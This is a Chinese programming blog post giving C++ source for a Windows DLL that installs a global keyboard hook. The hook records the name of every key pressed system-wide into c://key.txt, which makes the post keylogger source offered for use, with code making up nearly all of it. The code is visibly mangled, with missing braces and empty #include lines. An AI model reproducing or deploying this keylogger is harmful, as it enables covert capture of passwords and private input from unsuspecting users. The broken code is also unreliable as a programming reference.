HOOK全局键盘钩子

/*******KeyHookLib.h文件*********/  
// 定义函数修饰宏,方便引用本DLL工程的导出函数 
#ifdef KEYHOOKLIB_EXPORTS 
#define KEYHOOKLIB_API __declspec(dllexport) 
#else 
#define KEYHOOKLIB_API __declspec(dllimport) 
#endif 
// 声明要导出的函数 
BOOL  KEYHOOKLIB_API WINAPI SetKeyHook( BOOL  bInstall, DWORD  dwThreadId = 0,  HWND  hWndCaller = NULL); 




/*******KeyHookLib.cpp文件********/  
#include  
#include  
#define KEYHOOKLIB_EXPORTS 
#include "win32keyhook.h" 

// 共享数据段 
#pragma data_seg("YCIShared") 
HWND  g_hWndCaller = NULL;  // 保存主窗口句柄 
HHOOK  g_hHook = NULL;   // 保存钩子句柄 
#pragma data_seg() 

int  coutfile( LPARAM  lParam) 
{   FILE * fstream; 
    char  str[10]; 
    if (!(fstream=fopen( "c://key.txt" , "a+" ))) 
       return  0;     
   ::GetKeyNameText(lParam, str, 10); 
   fprintf(fstream, "%s" ,str); 
   fclose(fstream); 
    return  0; 

// 一个通过内存地址取得模块句柄的帮助函数 
HMODULE  WINAPI ModuleFromAddress( PVOID  pv) 

MEMORY_BASIC_INFORMATION mbi; 
if (::VirtualQuery(pv, &mbi,  sizeof (mbi)) != 0) 

   return  ( HMODULE )mbi.AllocationBase; 

else  

   return  NULL; 



// 键盘钩子函数 
LRESULT  CALLBACK KeyHookProc( int  nCode,  WPARAM  wParam,  LPARAM  lParam) 

         if (nCode < 0 || nCode == HC_NOREMOVE) 
   return  ::CallNextHookEx(g_hHook, nCode, wParam, lParam); 

         if (lParam & 0x40000000)  // 消息重复就交给下一个hook链 

   return  ::CallNextHookEx(g_hHook, nCode, wParam, lParam); 

     coutfile(lParam); 
      return  ::CallNextHookEx(g_hHook, nCode, wParam, lParam); 

// 安装、卸载钩子的函数 
BOOL  WINAPI SetKeyHook( BOOL  bInstall,  DWORD  dwThreadId,  HWND  hWndCaller) 

BOOL  bOk; 
g_hWndCaller = hWndCaller; 

if (bInstall) 

  g_hHook = ::SetWindowsHookEx(WH_KEYBOARD, KeyHookProc, 
     ModuleFromAddress(KeyHookProc), dwThreadId); 
  bOk = (g_hHook != NULL); 

else  

  bOk = ::UnhookWindowsHookEx(g_hHook); 
  g_hHook = NULL; 


return  bOk; 


/*******win32keyhook.def***************/  
EXPORTS 
   SetKeyHook 
SECTIONS 
   YCIShared   Read Write Shared 

//实现:运行过后,记录文件在C:/KEY.TXT 
//功能:实现全局系统范围内键盘记录功能 

你可能感兴趣的:(C/C++)